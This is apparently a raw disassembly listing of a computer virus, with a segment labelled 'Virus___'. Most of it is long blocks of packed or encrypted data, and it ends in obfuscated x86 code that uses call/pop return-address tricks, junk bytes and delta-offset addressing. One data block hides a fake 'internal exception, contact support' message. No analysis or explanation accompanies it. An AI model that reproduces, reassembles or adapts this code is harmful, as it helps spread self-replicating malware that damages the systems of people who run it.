		dd 0D271AA52h, 9B39D21Ah, 3D61F29h, 0BED8BD18h,	904B3D94h
		dd 94BED945h, 9691A9C5h, 589D69DBh, 2C04D398h, 425068F3h
		dd 35EA3FC8h, 71E3AE99h, 67D9568Bh, 64D04F92h, 1075CB4h
		dd 22CA0151h, 68835AE9h, 278C6D60h, 117h, 611EDB75h, 0F8CA4598h
		dd 474B67A0h, 0B46F2DC0h, 94AE6CE6h, 42CCCEE4h,	0EAA166BBh
		dd 8A59F27Ah, 2EE13AC2h, 1A15CE36h, 0A762B266h,	7EF98A5Fh
		dd 8C6D8CC5h, 95EA153Fh, 0A09FB76Ah, 4A341512h,	0E6000000h
		dd 0EBCAB5E7h, 6F8DA365h, 2E28C047h, 0F5201BB9h, 0F53C0989h
		dd 64FDD883h, 717D0DA3h, 983FE659h, 890DA364h, 84823161h
		dd 637BADEFh, 0AC4D8BAFh, 0DCE4BE71h, 0C535F819h, 9C47C018h
		dd 0BC098899h, 4FBE4D59h, 8Bh, 2DC04723h, 6DB6B46Fh, 443494AEh
		dd 0BE7E3C9Bh, 9EB6BC94h, 9247AFA1h, 0F88F77F1h, 8F80D80Dh
		dd 0BE7D68C4h, 0B3E5B794h, 0BE7DEDC8h, 8B416D94h, 217DB26Fh
		dd 29E030E6h, 897B08DDh, 4BBD1F8Eh, 600E0473h, 0CA3C4499h
		dd 9E41C60Eh, 9BC46AA4h, 71E35C56h, 0BFDF5085h,	1971714Dh
		dd 52BD983Dh, 6ECD05D5h, 0D811E6E9h, 7F7E7572h,	2EE139C0h
		dd 0BE03F284h, 8AA2E022h, 0CD772072h, 0D94AEB5h, 0A966BB43h
		dd 409841B7h, 47779B28h, 0B0698FC0h, 42AD277Fh,	7A25778Fh
		dd 94A8FBC8h, 3E41B9D3h, 962CE338h, 77EDC17Eh, 0C9E55A8Fh
		dd 48C7EF5Eh, 87812CD8h, 2270AF72h, 0C1D3DEF9h,	30486294h
		dd 5A2DD993h, 0EF207891h, 4FB16324h, 6CA4686Bh,	0F79449B5h
		dd 79FEF17Dh, 0E926FB02h, 0AA65BDD5h, 0A39CBDBAh, 9C57BF6Bh
		dd 0BB1AC550h, 3FDE2BADh, 844C1F37h, 8168A778h,	3, 3FF10DE1h
		dd 31231C35h, 251F10C5h, 1E1609D4h, 11033CD5h, 9FB34E9h
		dd 1F32CF1h, 78E827FAh,	6EE65982h, 0D3DD5287h, 81E18951h
		dd 4C1h, 4E98300h, 8B240C87h, 0DC682424h, 89000055h, 0DF682404h
		dd 89000026h, 68522434h, 3D9A04AAh, 0FFEA835Ah,	6BABF281h
		dd 0D0893A84h, 554A685Ah, 24890000h, 24048124h,	4, 4EC835Eh
		dd 8F240489h, 348B0846h, 0E6895624h, 4C681h, 0C6830000h
		dd 24348704h, 24048B5Ch, 81E68956h, 4C6h, 4C68300h, 5C243487h
		dd 0FD09BFE9h, 0B8CDD3FFh, 71E737Eh, 0E0FFC503h, 4C98A0E9h
		dd 3D43683Ch, 153BC7AAh, 47032C5h, 3039D8B0h, 0E849CD5h
		dd 66CFBC24h, 3580EACFh, 23801056h, 3804B5CEh, 48B42A1h
		dd 10E8h, 217ABE00h, 40AEDBA0h,	2F77F1C8h, 0FBF67041h
		dd 0E95EF9A1h, 13h, 430F7D37h, 7BC23C41h, 10F0BEFh, 0E17498AFh
		dd 819B774Dh, 5AFBC6h, 8E900h, 0F3020000h, 0A7C30E0Eh
		dd 7ABF9A8Fh, 812C6D70h, 6D66E2F7h, 18E0F2Ch, 0F9000000h
		dd 81661E8Bh, 81D1AAE8h, 0E0976FF3h, 0C8815731h, 758BBF8Ah
		dd 0B4F38158h, 8006D892h, 0C38146DCh, 4DABC316h, 0C870Fh
		dd 890F0000h, 6, 0A5ACE181h, 1E890911h,	83C9B70Fh, 0EF8304EEh
		dd 0B9850F01h, 0FFFFFFFh, 38Bh,	8EE88000h, 19E9h, 581EE00h
		dd 6Eh,	4 dup(0)
		dd 14E90000h, 0CA000005h, 9058EB20h, 5913B065h,	23AD7EA3h
		dd 0EE6605D4h, 0C32D10Ah, 79A25621h, 0D922AAh, 0CD10E963h
		dd 954EB63Eh, 47301AF6h, 94C1DA70h, 0E74E62F0h,	0DB4C816Dh
		dd 0C778AD59h, 0D370AD4Dh, 7428ED19h, 86510A57h, 0A8DA3ABh
		dd 0B887D8E0h, 0F1A5E56Dh, 758D4151h, 8A72E25Dh, 9F66DE51h
		dd 894DD54Ah, 0B16A9249h, 389F5A12h, 0A3F7785Fh, 0DAF2F88Dh
		dd 0CED6709h, 1BDE56D1h, 2CD749C6h, 21D7AC57h, 576F47F8h
		dd 0F0C7B0D8h, 708DA3F6h, 150A227Ah, 0DEBD15C1h, 9A9546B4h
		dd 0E4151F08h, 7439B39h, 8E30D7E2h, 0A433ECAEh,	248DA3CDh
		dd 0B63E190Eh, 729A954Eh, 4393996Ah, 70F63EA8h,	8A1A38CAh
		dd 0D689BED6h, 8DA44E04h, 0EDA3A10h, 9387BDF5h,	7CB8h
		dd 6DE79A00h, 0B6244C81h, 9D06E258h, 678F8186h,	4CBEE0B2h
		dd 0A3A74493h, 65AEC48Dh, 8DA3A752h, 0AC6BDCD6h, 0A3A6D4E5h
		dd 50C68Dh, 88651FD8h, 16E93h, 3F400000h, 97B1E336h, 0C289BE63h
		dd 0B976AB52h, 2FCBB047h, 96F8DAF2h, 8C21244Eh,	49D2C616h
		dd 8DA43E6Eh, 804FF8F2h, 0B1BAD486h, 180FA798h,	2AD30E46h
		dd 0CA4454F7h, 363EE922h, 267615CEh, 0C6EAD69Eh, 0F92E316Eh
		dd 0E63B3FD1h, 1BCE3729h, 1C366024h, 0B3033CD1h, 0B772A274h
		dd 0E333C43h, 0F777B82Dh, 479FB726h, 0A3598955h, 38C0BE45h
		dd 0D27C2C0Fh, 0C133F425h, 352FE035h, 81251AC7h, 4C973D95h
		dd 0B4938873h, 8ABD5E9Ah, 0A2A5h, 3B3F8900h, 65EF29E6h
		dd 83D54A97h, 0A365FDD8h, 59717D8Dh, 4B9066EEh,	0E2373F49h
		dd 0AAE06E25h, 0ACB50412h, 8582E706h, 0F49E7DD5h, 0A96BC805h
		dd 61112531h, 4BFCD649h, 5FEC31C9h, 1AB86595h, 0D3548970h
		dd 12CF2C24h, 0A91B891Dh, 9593092Dh, 42C9C4CDh,	8DA39F73h
		dd 33EC25CEh, 6DDAD063h, 648F55BDh, 0DC93886Fh,	0A6663A00h
		dd 6BDC1824h, 5DC6h, 3B3FA800h,	0C23729E6h, 0C530201Fh
		dd 6626B16Ah, 80AA8DA3h, 0BCBDB768h, 0B86CAE61h, 8D4D0358h
		dd 0B16A8E45h, 2D99DBE3h, 0FDCE0101h, 0E7CFE34Ah, 5A124CDFh
		dd 9097271Dh, 8F8055A0h, 0A394F6C4h, 70AD4D8Dh,	0CAB545BFh
		dd 58D7EF2Ch, 710E4632h, 4A96FE54h, 938876B1h, 1FCh, 393FDE00h
		dd 0C9352FE0h, 0DE291B14h, 0DC1C140Bh, 66379E79h, 0B3BB8DA3h
		dd 30E0A49Bh, 5B7A9BE0h, 56D59A60h, 222C9E3Eh, 0B80A05D6h
		dd 407BDB8Fh, 0D2C261BAh, 0A7984DB8h, 0BF5BE70Fh, 0F56EFD8Bh
		dd 30BDBA32h, 98FB962h,	5B5394AFh, 4F806CE4h, 17C834BCh
		dd 46607918h, 39D994BFh, 1DA22D9h, 0D902EA62h, 5F211BB5h
		dd 0CC439B5Ah, 2577A854h, 5913CE2Bh, 0FCA7DA0h,	0F8050F59h
		dd 6FD8EA25h, 54A05BBBh, 0BE79E083h, 0F18C6DA5h, 11Ch
		dd 2DC047A5h, 0E7133D6Fh, 48520D3Ah, 4294AE6Ch,	0F17DF728h
		dd 0C11D8F5Ch, 4893D047h, 4FC1469Ch, 43BD72A7h,	1A3466BBh
		dd 4E0502DFh, 538EC69Ah, 0AD576ABh, 8C6D04F1h, 4EBCh, 0BF479E00h
		dd 0C06682Ah, 0A1FD32EFh, 8A78BF66h, 72783C09h,	64C312BDh
		dd 0C4D60DA3h, 5FB1C7F8h, 0F1CD4297h, 2A8570C9h, 56E52DFDh
		dd 9E795BD0h, 0BC093E97h, 0E0B0535Bh, 44934CBEh, 0C48DA3B1h
		dd 0B15265AEh, 0DCD68DA3h, 92906Bh, 471E0000h, 3D6F2DC0h
		dd 0F124E513h, 2875FFA1h, 881A152Dh, 0BE86C49Fh, 0CEE494AEh
		dd 0C217DF51h, 8A5FA721h, 5DF67E08h, 0C8642FEAh, 1794BEAEh
		dd 0AC5893C3h, 4EF8A87Bh, 0C5B770A9h, 5FE9AB42h, 55CF4099h
		dd 0E8BA75A8h, 0D30557D0h, 0A6994CB9h, 0BC481B0Ch, 0DF9BC45Ah
		dd 0AC9B46B5h, 4AE4819Dh, 0EF20FD7Ch, 6BD9AFD7h, 8E86B9D1h
		dd 8272AD66h, 0F769A67Bh, 0E864DB0Eh, 393E828h,	0BBBCFF57h
		dd 6FB76032h, 7394AEFBh, 0FCF8A87Bh, 0C06A033Eh, 634FF8A9h
		dd 6F2DC047h, 0A91170B4h, 1F99394h, 0D45363DCh,	5ED64965h
		dd 26AE7D96h, 4B0A05DEh, 2DCC02C8h, 407BDB1Fh, 8C063B4h
		dd 7CF42BFCh, 0A9ED22FFh, 965E95FDh, 0DE26AE7Dh, 0FAC20A05h
		dd 82580A90h, 3EC97E00h, 12h, 858F0DB0h, 2577A875h, 0A3665B7Ah
		dd 0BFD7DF8Dh, 353F2E88h, 0C531231Ch, 0D4251F10h, 0D51E1609h
		dd 0E911033Ch, 0F109FB34h, 0FA01F32Ch, 8278E827h, 876EE659h
		dd 68D3DD52h, 6594h, 68241C89h,	0C37h, 50241C89h, 405E089h
		dd 2D000000h, 4, 5C240487h, 55243489h, 0C42ECEBDh, 8BBF5746h
		dd 0BB6AB45Dh, 55A5E89Ch, 15FFB01h, 8B545DEBh, 0C4832434h
		dd 8B85004h, 2D000000h,	7C22D94h, 9405F001h, 8907C22Dh
		dd 34FF5818h, 0C4835E24h, 241C8B04h, 81E68956h,	4C6h, 4C68100h
		dd 87000000h, 0E95C2434h, 0FFFD03B4h, 2CCDBDBAh, 0B8531410h
		dd 71E7989h, 0E0FFC503h, 3F9E7930h, 4E55AD64h, 654EB550h
		dd 348EAE87h, 0FC4D0BEh, 41AACD7Eh, 5D1E0BF8h, 64146140h
		dd 61034BB2h, 400E9h, 0
		dd 6E413300h, 746E6920h, 616E7265h, 7865206Ch, 74706563h
		dd 206E6F69h, 7563636Fh, 20646572h, 64644128h, 73736572h
		dd 7830203Ah, 0A297825h, 656C500Dh, 2C657361h, 6E6F6320h
		dd 74636174h, 70757320h, 74726F70h, 65726F40h, 2E736E61h
		dd 2E6D6F63h, 61685420h, 79206B6Eh, 21756Fh, 0E4h dup(0)
		dd 4300h, 36A00h, 0
		dd 1182E900h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 0A9071FC3h, 293350F0h, 11890F7Bh
		dd 0E9000000h, 0Ch, 4AC1364Ch, 9D2B390Dh, 0D9941C47h, 0AD858Bh
		dd 0BD09071Bh, 71B0E15h, 4244439h, 0BC850Fh, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 172772C3h, 0E91FD8B8h, 13h, 94028A0Fh, 0C1364C97h, 2B390D4Ah
		dd 941C479Dh, 838102D9h, 1B226DBDh, 840F0007h, 76h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 45C35545h, 94AC70F7h
		dd 0C858D29h, 6A071B3Bh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 96AC353h, 1B1EAD9Dh
		dd 0B8666007h, 0FF610904h, 51006AE0h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 0F216506Dh
		dd 0CE1E094Bh, 858BF599h, 71B08CDh, 244439F8h, 21850F04h
		dd 1000000h, 1B146995h,	3785C707h, 1071E7Eh, 0F000000h
		dd 0B8Ch, 85096000h, 71B28E1h, 61BFC180h, 53006A60h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h
		dd 418D89F6h, 0E9071B06h, 27h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 0DAC35545h,	240BD605h, 0C74B5h
		dd 0B8000000h, 1, 7FC98587h, 0C00B071Eh, 0B5FFF675h, 71B1C05h
		dd 7E2F858Fh, 206A071Eh, 95FFFF6Ah, 71B2A4Dh, 2211BD83h
		dd 7400071Bh, 0FF006A08h, 1B128995h, 0B9BD8307h, 1071B30h
		dd 80680D74h, 6A000000h, 4D95FFFFh, 60071B2Ah, 0B2C68166h
		dd 0C0B70FB5h, 57006A61h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 9FCFE33Bh, 0F9F6B7Ch
		dd 0E82h, 9D8B6000h, 71B1719h, 8D0Fh, 89610000h, 1B2CB985h
		dd 0B807h, 0BD290000h, 71B2511h, 2824548Bh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 6CC35141h, 0F5A1560h
		dd 782h, 18A0F00h, 0FC000000h, 2A298589h, 6A071Bh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 9A224FC3h, 6840Fh, 0B5090000h, 71B12D1h, 3CBEh, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 23061DBBh, 17653E1Dh, 0DE9AEE6h, 0EE000000h,	53517A4Eh
		dd 6A05A685h, 87D6691Ch, 24247403h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 0D6C35646h,	989057D7h, 890F606Fh
		dd 5, 6FEE8166h, 68B0FD8h, 89000000h, 1B177585h, 0DE96107h
		dd 1000000h, 0C63DE782h, 0F1DB99h, 0D28ED1CDh, 6660AD66h
		dd 8BE31BBFh, 1B0015B5h, 44036107h, 8D312424h, 71B28B9h
		dd 14850F50h, 0E9000000h, 0Fh, 0D9AC2347h, 9E0CF86Ah, 1445F829h
		dd 898E3936h, 8BFC2404h, 66607840h, 0F81260BBh,	37BD8361h
		dd 71E7Eh, 171850Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 0F86AECC3h, 0EE86050h
		dd 36000000h, 0CA58B624h, 727EF89Ch, 5FE38BB4h,	596160CBh
		dd 0BE9h, 150AC100h, 992D563Ch,	0C611BE70h, 24048961h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0B7C35141h
		dd 2C24448Bh, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Dh,	9DC35242h, 34C82D1Fh, 5B968DBEh, 81858947h, 50071B30h
		dd 0DE9h, 3F8CFD00h, 2F08F8F6h,	322B2828h, 489ADB8h, 51006A24h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 0FEE49C76h, 0DE99A394h, 8B60AC0Bh, 1B2D418Dh, 61F58A07h
		dd 12E9h, 11FF9700h, 864EE295h,	941881CCh, 4011D0D5h, 8DADBA15h
		dd 1E373785h, 52006A07h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1804h, 0C3524200h, 0B3EB1A15h, 0ED806028h, 10E960E0h
		dd 2C000000h, 4CED8976h, 0EFA9FC64h, 52338349h,	8096D0C4h
		dd 616140EDh, 10830Fh, 830F0000h, 0Ah, 5E9h, 24036B00h
		dd 0D0FF086Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Bh,	30C35747h, 0D7FE796Fh, 343212Fh, 1282444h, 1B2EC5BDh
		dd 658D2907h, 8B071B34h, 6A1840h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 4A072AC3h, 5CCD6D93h
		dd 40BC68A2h, 8F56B860h, 0F6004F3h, 5B53F1BFh, 85896161h
		dd 71E7E33h, 6A58F5h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 53F3FDC3h, 0B5EE514Fh, 68A0F86h
		dd 31000000h, 1B11F5BDh, 7DB58907h, 8B071B06h, 6A7870h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 0E4C87DC3h, 0A4E21B5Ah, 2755BD01h, 0C683071Bh, 55006A1Ch
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 697FB625h, 9B1FD67h,	69BD2974h, 96071B34h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 7DC35040h, 9F53C31Ah
		dd 77081090h, 30B59589h, 7C81071Bh, 2424h, 870F1000h, 0DEh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0ADC35141h
		dd 0E938CF26h, 0Fh, 8C75077Bh, 0DB027B37h, 8DE341C0h, 50D86569h
		dd 0EE9h, 0E1A43600h, 5A081D5Dh, 887BA07h, 898FA444h, 6A2404h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 0DE561FC3h, 74DA96EAh, 448B36BBh, 0F602824h,	0B70FC3B7h
		dd 0BD8961CBh, 71B35F9h, 0E8606050h, 13h, 2AEE6CDBh, 8881DCD0h
		dd 856AA4C1h, 0C4C50617h, 5FF167BDh, 0D88B6661h, 24048961h
		dd 0FF960F8h, 388h, 0D18B6600h,	37858D61h, 0F8071E37h
		dd 6AD0FFh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 0C77D3FC3h, 21C15EAh, 6A96F966h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 47BC353h, 0E026F4D6h, 22819509h, 7403071Bh, 6A2424h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 8DC415C3h, 0D7FF2D34h, 0BD8DEA36h, 71B25A1h,	27399501h
		dd 89AD071Bh, 1B0CE995h, 247C8107h, 24h, 3870F10h, 6A000001h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 8346C356h, 89F04046h, 1B22418Dh, 0DE95007h
		dd 0AD000000h, 609CD20Dh, 62CE1965h, 75E8480Ah,	6A240489h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 29D0C352h, 8D31712Ah, 71B1831h, 2824448Bh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 59C35646h
		dd 123DB589h, 0F960071Bh, 1A999D89h, 5061071Bh,	5E566060h
		dd 0B0616160h, 48961A7h, 7E924h, 1F8F0000h, 333FEFEFh
		dd 37858D6Eh, 0E9071E37h, 13h, 12BB20E3h, 656FCC54h, 53EE074Eh
		dd 0E8FFD898h, 0FF3B6FC2h, 51006AD0h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 2366A036h
		dd 14E9h, 0BC88F600h, 85E2820Ah, 268E3D5Fh, 94C1D82Ah
		dd 0CF6E292Ch, 4403F870h, 9D892424h, 71B00B1h, 55006AABh
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 18E8754Bh, 0FA8125h,	0F000100h, 75B82h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
		dd 95BB2973h, 0DF42C614h, 89609BEEh, 1B15E5B5h,	0B5295107h
		dd 71B0A59h, 8D0F615Eh,	1, 59BD8DF5h, 6A071B16h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 8E6CC357h, 47B4AE07h, 89ADBECDh, 1B05B9BDh, 247C8107h
		dd 24h,	0EA870F10h, 0F5000000h,	8A576050h, 52505FF4h, 310FF88Ah
		dd 585A5F51h, 24048961h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 18h, 9BC35343h, 4595F2F0h,	2824448Bh, 8B6090F9h
		dd 4CBE66CEh, 0F5061A1h, 1A80h,	0E9525000h, 9, 0CC1B6C96h
		dd 42E7D104h, 50310FF6h, 5A310F52h, 90585A58h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0ADC35747h, 8D0197C1h
		dd 71B2941h, 0DE960h, 0AD040000h, 0F195C641h, 20E6C1BAh
		dd 0BA2D5BA4h, 585AE5ADh, 37858D61h, 6A071E37h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 1387C350h, 0AAE45CAh, 11E9472Ch, 0CD000000h,	290DBA75h
		dd 3BA72F4Dh, 9D4D570Ah, 9ED98809h, 89D0FFF9h, 1B0DE19Dh
		dd 24440307h, 0E950F824h, 7, 78FA5663h,	899D3CCAh, 6A2404h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 73F002C3h, 5E9E526h,	0
		dd 5D818BE2h, 52006AABh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 0E15118B4h, 6665D00h, 9589B966h
		dd 71B1745h, 29F9BD8Dh,	6A071Bh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 497FD6C3h, 0FC5DFFF3h
		dd 2161BD89h, 6AAD071Bh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 0FC7CC352h,	28247C81h
		dd 10000000h, 117870Fh,	800F0000h, 6, 21E1BD09h, 9501071Bh
		dd 71B250Dh, 1E850F90h,	50000000h, 0F525052h, 0F585A31h
		dd 0DE931h, 56870000h, 552E9756h, 3BD21261h, 5A43B1B7h
		dd 0E8605058h, 13h, 2B1F6BFCh, 0A2A7004Bh, 3AD26B51h, 6E6FF76h
		dd 608CEFE6h, 8B665B61h, 299061CEh, 1B358D95h, 958B6007h
		dd 71B0BB1h, 0CD9BD29h,	8B61071Bh, 6A2C2444h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 0E3C9C353h, 59F2EC95h, 909537D6h, 5085B760h,	0F616052h
		dd 0CE931h, 0DEB90000h,	3FD8D82Bh, 7F136A22h, 585A1CECh
		dd 8E95061h, 77000000h,	6F0364F1h, 900AE012h, 14E9h, 58DF9C00h
		dd 1CEB4DADh, 0F3A22918h, 4CAC48AEh, 3351DA35h,	37858D58h
		dd 9071E37h, 1B2DE9BDh,	6AD0FF07h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 9AE7C352h
		dd 0B05346D4h, 0F600933h, 3161C2BFh, 1B18558Dh,	24440307h
		dd 55858928h, 0AB071B18h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 4AC35545h, 46A30B33h,	60296F60h, 6E8h
		dd 0FBF67000h, 0FBD21A1h, 86h, 0B5295800h, 71B2675h, 0FD8D8961h
		dd 5E071B26h, 7E338DFFh, 0BD83071Eh, 71E7E33h, 330A7500h
		dd 0A5B58DC0h, 0FF071E8Dh, 81AD56E6h, 28247Ch, 77100000h
		dd 448B500Eh, 8D502C24h, 1E373785h, 3D0FF07h, 97282444h
		dd 858ADF8Bh, 71E7E2Fh,	474C084h, 4C75073Ah, 0AEC03257h
		dd 2B5EFD75h, 33FC52FBh, 0D18B49C9h, 0DB33C033h, 8AC132ACh
		dd 8AEA8ACDh, 6608B6D6h, 0D166EBD1h, 660973D8h,	66504135h
		dd 5449F381h, 0EB75CEFEh, 0D333C833h, 0F7D5754Fh, 8BD1F7D2h
		dd 10C0C1C2h, 5AC18B66h, 0F74D03Bh, 4C6835Eh, 2A2985FFh
		dd 5DE9071Bh, 5EFFFFFFh, 98A0Fh, 80600000h, 0BF66CACFh
		dd 6A61D9C5h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 8B87C355h, 4A10A2B4h, 29858BF8h
		dd 9071B2Ah, 1B2CB995h,	6AE0D107h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0C1D6C353h
		dd 8503306Ah, 71B29F9h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ah, 20C35040h, 583C9784h,	5E9D0E0h, 8C000000h
		dd 94BF1CA0h, 10E9h, 0E6CBFA00h, 22305E1Ah, 0A36F3A25h
		dd 0B822F5CAh, 6AF62BBDh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 41ADC357h, 9F195C6h
		dd 1B0E49BDh, 958D8907h, 96071B05h, 68B0Fh, 9D890000h
		dd 71B2C69h, 6AAD66h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 0DF0DE8C3h, 0F02E0C1h, 885h, 2810F00h
		dd 60000000h, 8503FC61h, 71B25A1h, 5820F60h, 66000000h
		dd 0A5D8F381h, 2829BD29h, 9661071Bh, 25C99589h,	6AAD071Bh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 0F749C353h, 0D4AE67C4h, 9D89D98Ah, 71B014Dh
		dd 24247C81h, 10000000h, 12D870Fh, 11E90000h, 22000000h
		dd 24B2D189h, 0BA7AA1F2h, 0A7035CBCh, 0A67A854Fh, 0E8A0F90h
		dd 60000000h, 310F5250h, 5250585Ah, 585A310Fh, 8E0F5061h
		dd 1Bh,	0AE95250h, 94000000h, 6F3806D0h, 75D33A31h, 50310FE0h
		dd 5A310F52h, 90585A58h, 0EE960h, 278D0000h, 0EACA1638h
		dd 33E9615Ah, 0B62A7C50h, 1B098D89h, 8B61071Bh,	0E9282444h
		dd 12h,	0A89C9A9Fh, 3579C4C1h, 23CB8DE5h, 49837FD0h, 5050EFDFh
		dd 14830F52h, 0E9000000h, 0Fh, 31B322FEh, 9ECFDC36h, 6C24544Ah
		dd 0F92B881h, 13E931h, 218E0000h, 2C20DEECh, 951F95h, 4DB9C481h
		dd 726C9FBFh, 89585A2Ah, 6A2404h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 858D07C3h, 71E3737h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 31C35242h
		dd 1C8F597Dh, 4B48635Ch, 6AD0FFF9h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 7C9CC356h
		dd 31BD3176h, 3071B03h,	6A242444h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 8E4C350h
		dd 459FEE9Bh, 89A7CBA1h, 891C2444h, 1B2E7D95h, 585C607h
		dd 71B1Ch, 7FC985C7h, 71Eh, 85C70000h, 71E7E37h, 0
; ---------------------------------------------------------------------------
		mov	[ebp+71B0089h],	edi
		jmp	loc_573F4D
; ---------------------------------------------------------------------------
		db 40h
		dd 0B06591CDh, 0C02E28B5h, 0B5ED281Ah
; ---------------------------------------------------------------------------
		inc	ebx


loc_573F4D:				; CODE XREF: Virus___:00573F3Aj
		popa
		mov	[ebp+71B1FD1h],	ebx
		retn	8
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_573F62
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_573F62	proc near		; CODE XREF: Virus___:00573F5Ap

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 19h
		inc	ebp
		push	ebp
		retn
sub_573F62	endp

; ---------------------------------------------------------------------------
		jnz	short loc_573F92
		add	ah, [eax+4Bh]
		daa
		mov	eax, [ebp+71B25A1h]
		jmp	loc_573F95
; ---------------------------------------------------------------------------
		align 4
		test	eax, 50E6710Bh
		imul	eax, edx, 324E9626h
		pop	ebp
		shr	byte ptr [ecx],	1


loc_573F92:				; CODE XREF: Virus___:00573F72j
		sub	dh, [ecx-9]


loc_573F95:				; CODE XREF: Virus___:00573F7Ej
		cld
		dec	edx
		push	0
		push	eax
		call	sub_573FA2
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_573FA2	proc near		; CODE XREF: Virus___:00573F9Ap

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_573FA2	endp

; ---------------------------------------------------------------------------
		push	cs
		jmp	loc_573FC2
; ---------------------------------------------------------------------------
		dd 5AFEB2B3h, 0F5209Dh
		db 21h,	6Eh
; ---------------------------------------------------------------------------


loc_573FC2:				; CODE XREF: Virus___:00573FB3j
		imul	edx, 4
		clc
		add	eax, edx
		cld
		jmp	loc_573FDA
; ---------------------------------------------------------------------------
		dw 63C6h
; ---------------------------------------------------------------------------
		cli
		retn
; ---------------------------------------------------------------------------
		dw 8B73h
		dd 774FC930h
		db 2Dh,	0F0h
; ---------------------------------------------------------------------------


loc_573FDA:				; CODE XREF: Virus___:00573FC9j
		xchg	eax, esi
		push	0
		push	edx
		call	sub_573FE6
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_573FE6	proc near		; CODE XREF: Virus___:00573FDEp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h
		inc	edx
		push	edx
		retn
sub_573FE6	endp

; ---------------------------------------------------------------------------
		pop	ds
		stc
		lodsd
		pusha
